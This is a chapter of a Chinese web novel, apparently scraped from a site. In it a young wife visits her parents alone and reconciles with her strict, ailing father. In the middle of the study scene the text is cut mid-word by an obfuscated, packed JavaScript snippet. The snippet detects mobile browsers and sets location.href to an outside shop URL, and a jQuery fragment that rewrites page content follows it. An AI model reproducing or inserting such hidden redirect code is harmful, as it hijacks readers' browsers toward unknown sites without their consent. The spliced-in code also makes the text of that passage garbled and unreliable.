池泱确定自己的合法丈夫一定非常爱自己，尽管他有些敏感，面对两人的关系时总小心翼翼。她的心情在听见贺言舟那句想念的话后一直保持着愉悦，就连工作的疲惫都神奇的被一扫而空。


    老实说在这之前她对于婚姻其实并没有太大期待，她的家庭和大多数东亚家庭一样，性格温和的母亲，和有些大男子主义总追求过度完美的苛刻父亲。她所有对于男人和婚姻的理解全都来源于这个传统的家庭，以及自己的父亲。


    她下意识觉得，大部分男性都逃不开像父亲一样的模板，大男子主义、苛刻还有无法舍弃的脸面。


    这并不是她所希望追求的生活，与其和这样一个男人结婚，共度一生，将自己圈起，不如自己一个人将日子过好，且她能确定，自己一人一定能过的很好。


    但人生总是充满变数的。


    池泱看了眼驾驶座上的人，回想起和这个人相处的所有点滴。其实大部分之前的记忆她都已经丢的差不多的，脑海里留下的就只剩了对他讨厌和喜欢的部分。


    他实在给了她太多惊喜。


    她的丈夫真诚，大方，尊重一切她的自我想法，且永远对她无条件支持。尽管这个人有一点笨拙，可爱的呈现又永远那么纯粹又直接。


    幸福来的就是这么突然，池泱想，她几年前一定想不到提升自己幸福感的竟然会是这个总和她较量的人。


    汽车平稳行驶在路面，距离华庭别苑越来越近。池泱看着道闸打开，突然做了个决定。


    “贺言舟，”她开口，“一会把我送到门口你就回去吧，今晚我想在家睡。“


    贺言舟偏头看了她一眼，没多余问为什么，只应了声好就将车缓慢驶进别墅区里，随后停稳。


    不需要任何解释，他也知道池泱此时做的是什么决定。


    安全带解开，池泱隔着车窗看了眼池家大门，深吸口气扬起笑脸：“我到啦，明天就回去。“


    贺言舟垂眸看她，抬手安慰地揉了揉她脑袋，语气轻柔：“不用勉强自己，不舒服就打我电话，我来接你回家。”


    “放心好了，我才没那么脆弱呢。”池泱笑笑，打开车门，“不用下车送了，我就回自己家吃个饭，你快回去吧。”


    车门被彻底拉开，她跳下车又将门关上，隔着车窗冲里面的人挥了挥手，然后转身走向家门。


    身后漆黑的车身融入黑夜，驾驶座上的人盯着前方看了许久，直到别墅门被管家关上后才重新启动车子，掉头离开。


    -


    家里比想象中还要平静。


    阿姨正在厨房准备饭菜，许晴女士依旧老早就开始往门外望，见到翘首以盼的人后连忙欣喜着带着往里走，絮絮叨叨地唠一些家常话。


    “你都好一阵没回来过了，工作很忙吗？是不是又没好好吃饭？”许晴嗔怪地瞥她一眼，语气透着心疼，“妈看你比上次回来都瘦了一圈。”


    池泱笑着拍拍母亲的手，安慰道：“哪里瘦了，我脸最近都圆了不少呢。”


    “你骗谁都骗不过你妈的眼睛，”许晴拉着她坐下，上上下下看她一通，“就是瘦了。”


    “泱泱，工作再忙也得按时吃饭知不知道？你告诉妈，是不是和言舟处的不好，你受委屈了？”


    池泱一愣，被这突然关联在一起的莫名话题整的哭笑不得：“妈，这都哪跟哪啊。”


    她倒了杯茶水递给许晴，无奈地笑了两声：“可能就是最近太累了，胖不了几天就又瘦回去了，和言舟没关系。”


    “他今天中午还怕我不好好吃饭专门做好了给我送来呢，我们挺好的，您就放心吧。”


    池奕从楼上下来刚好听见这话，冷哼一声：“他要是真对你好，就舍不得让你这么忙。”


    池泱顺着声音抬头，对上父亲视线。


    一段日子没见，池奕肉眼可见的苍老了些。白发明显比上次见面要多出了近乎一半，就连眼角褶皱都更深了几分。


    他微驼着背从楼上缓慢下来，坐到旁边沙发单座上，捂着嘴咳了几声。


    池泱眉心一皱，将热茶递过去下意识开口：“爸，您吃药了吗？怎么咳这么厉害。”


    池奕接过茶水摆了摆手，不在意道：“小感冒，过两天就好了。”


    说完就抬头看了眼池泱，脸色变得难看：“你看看你现在，脸都瘦成这样了，把自己折腾成这样像什么样子！”


    许晴瞪了他一眼，对着池泱安慰道：“别跟你爸计较，他说话就这样，关心人都不会好好说话。”


    她叹了口气，离池泱近了些，小声道：“别看你爸这么说，上次吃完饭你们走后，他一直挺担心你的。”


    池泱有点惊讶，却没表现的太明显，只淡笑着应了句知道。


    又闲聊了会，家里阿姨已经将最后一道菜端上桌了，许晴先一步走过去，给池泱盛了碗汤，又给她使了使眼色，示意她主动一点，扶着池奕过去落座。


    该来的躲不掉，池泱叹了口气，上前去伸出手来，扶着自己父亲走到餐桌前，她拉开凳子，见池奕坐下后才走到旁边位置坐下。


    自己每次回来家里做的饭都特别丰盛，池泱看到被专门放在自己面前的宫保虾球和番茄牛腩，心底塌下去一小片。


    餐桌上是难得的和谐，吃了几口饭后一直都只是在聊一些家常话，等了一会也没等到像往常一样对自己的刻薄数落。


    许晴夹了块西兰花放进她碗里，见她发呆，用筷子轻敲了下碗边：“吃个饭怎么心不在焉的？“


    池泱回神，淡淡笑了下：“好久没吃家里的饭了，感觉阿姨做的比之前更好吃了。”


    “想吃也不知道回趟家，“池奕在一旁开口，“工作再忙有家里人重要吗？”


    池奕说话还是一如既往的呛人，但比起之前已经几乎不见一丝刻薄的影子了。


    池泱抬头往旁边父亲脸上看去，露出真心实意的笑容，将面前虾肉夹给他两块：“我以后会常回来的。”


    池奕面上一副不在意的样子，可在这句话落下后夹菜的动作明显变的频繁了些。


    许晴坐在一边看破不说破，抿着嘴笑了声。


    晚饭吃完后，池奕转身去了楼上书房。池泱留在楼下陪许晴聊了会天，顺便说了下今晚留家里住的事。


    许晴女士一听先是开心，随即就又有些担忧的开口问：“泱泱，你和妈说实话，是不是和言舟相处的不好，你们闹矛盾了？”


    池泱愣了愣，不明白为什么自己母亲会这么想：“妈，您到底是从哪听出我和他闹矛盾了的？”


    “今天回家吃饭也没见你带他一起，现在晚上直接留家里住了都，你们两个真没事？”


    “是我没让他来，他送我到门口我就让他回去了，而且我都多久没在家里睡了，就是想多陪你们一会。”


    许晴看她一眼，脸上是一如既往的温和：“泱泱，妈知道一开始让你和言舟结婚有点委屈，但想着咱们两家知根知底的，再加上你爷爷的意愿，就也没想那么多，觉得你们两个在一起怎么也不会过的太差，毕竟你和言舟都是很优秀的孩子。”


    “但后来妈想了想，这份婚姻确实是我们做长辈的太固执己见了，你们互相不喜欢的话，日子又怎么能过得好。”


    “泱泱，你是妈唯一的宝贝，”她顿了顿，笑着拍拍池泱的手，“所以无论你做什么决定，妈都永远支持你。”


    “过得不开心就离婚，有妈妈爸爸给你兜着。”


    池泱心一暖，黏黏糊糊蹭上去挽着自己母亲的胳膊，好半天才哽咽着开口：“……妈，谢谢。”


    “跟自己妈妈谢什么，”许晴笑着拍拍她脑袋，“一会上去和你爸也说说话，他这两天老念叨你。”


    看出了她的为难，又补上一句：“上次你俩吵过之后，你爸嘴上没说，但几乎天天待书房不出来，盯着手机唉声叹气的。”


    池泱也知道自己老爸只是古板的性格使然，其实从没和她真生过气，但心里总归有点别扭，听许晴女士这么一说更不自在了起来。


    不过这次选择自己一个人回来，就是想解决横在自己和池奕之间的问题的，正是因为清楚父亲并非不爱她，所以才想要将话说开，她也并不想和池奕之间一直保持着这样紧张的父女关系。


    她往楼上瞄了眼，下定决心。


    ……


    池奕的书房门虚阖着，缝隙里看去开着护眼灯，暖色光晕从门缝漏了一点出来。


    池泱手里端着切好的果盘，停在房门口犹豫，又最后深吸了口气才将门叩响。


    “进来。”


    书房里又响起阵阵咳嗽声。


    池泱推开门进去，将手上热水和果盘一并放下，站在一边没有其他动作。


    池奕扶了下眼镜，将目光从书上移走，看了眼保温杯里冒出的热气。


    “旁边有座位，站着干什么。”池


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128152|192158||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奕捧起水杯吹了吹，缓慢往嘴里送了一口。


    池泱闻言才坐在旁边椅子上，想开口说点什么，却又都被此时沉重的气氛击退。


    池奕身上似乎会自动散发压力，和他待在同一空间里，总会让她下意识感到呼吸困难。


    书房色调昏暗，透不进一丝风来。池泱小口调整着呼吸，良久才开口打算从最简单的话题聊起。


    “最近……家里没什么事吧？”她不自在的轻抠手指，“我看您咳嗽挺厉害的，没去医院看看吗？”


    池奕抬头瞥了她一眼：“家里能有什么事，咳两天就好了，用不着去医院。”


    “噢……”又没话说了。


    空气陷入宁静。


    看得出来池泱的不自在，池奕又开口：“不知道说什么还来书房，你是专门过来打扰我的？”


    池泱抿了抿嘴，没说话。


    他们之间似乎总是这样，要么沉默到底，要么争吵不断，总没有个和谐自在的时候。


    池泱恍惚间突然记起自己还很小的时候，两只手分别牵着妈妈爸爸的，他们会用力牵着她将她整个提起，小幅度在半空晃悠两秒再落地。


    那时候自己好像是和爸爸关系更好一点，因为他总无条件的宠溺，有求必应，家里玩具推了好几箱全是池奕买来的礼物。


    是从什么时候起，慢慢变成现在这样的？


    这也并不是她想象的长大。


    如果成长的代价是失去和父亲的感情，那这段路也就注定不会完整。


    但池泱从没失去过什么。


    她也从不会，让自己失去什么。


    这是她的人生准则，成长一定要是不断得到的过程，得到进步、成就、意想不到的幸福。


    能得到的，她从不会轻易让自己失去。


    所以和父亲之间有裂痕的感情也一样。


    修复就好了，毕竟这是虽然严苛，但依旧爱着他的父亲。


    “爸，”池泱开口，“我以前和您说，您总不看好我，不管我干什么，都能找到否定我的理由。”


    她垂下眼，语气淡淡的：“您对我的要求一直以来都很高，我好像无论怎么做，都做不到让您满意。”


    “其实我只是想知道，对您来说，我真的很差劲吗？”


    池奕迟迟没有回答，周围静的似是连呼吸都能听得清楚。


    须臾，他才缓慢将眼镜摘下，靠在椅背上疲惫地捏了捏眉心。


    池奕咳了两声，拿过水压下，又叹出口气。


    “……你很聪明。”他说，“从小到大，教育你都不需要怎么费心。”


    “学校的内容你几乎一听就会，和隔壁那小子的成绩不相上下。”


    池泱还算平静，问他：“那为什么……”


    “因为你太聪明，也过分独立了，”池奕看向她，“作为父亲，我经常感觉不到自己存在的意义。”


    池泱心里猛的一空。


    池奕还在继续说。


    “……可能就是你们说的优越感吧，我需要这样的优越感和控制权，来证明自己作为父亲存在的意义。”


    “但我也真是老糊涂了，”他笑了声，“忘了我的孩子优秀到根本不需要我的指导，也不用和别人比较。”


    “……爸和你道歉，你长大了，是爸太固执。”


    池泱在听完这些话后久久发不出声音，只觉得鼻子发酸，连带着眼睛也开始泛涩。


    那些自己曾执着证明的能力，原来早就已经被父亲认可，横亘在他们父女间的矛盾，其实只有这么小的一点而已。


    池泱看着自己父亲斑白的发丝和脸上越来越深的褶皱，这张面孔早已没了二十年前的风范，被岁月侵蚀的只剩下时间游走过的苍老痕迹。


    这个自己曾认为天塌下都能顶着的无所不能的人，其实也仅仅只是个普通的小老头而已。


    他和其他第一次当父亲的人一样，会担忧，害怕，也总怀疑自己存在的意义。


    他并不是无坚不摧，他的软肋从来都是自己这个突然降临在他人生里的小生命。


    池泱再也控制不住自己的情绪，滴了滴泪落在手背，灼热的温度似是要将手背烫穿，迫使她起身，走近自己父亲，然后抬手给出一个陌生又熟悉的拥抱。


    “……爸，我没怪过你。”


    她说。


    “我需要你。”


    “你的存在，一直都有意义。”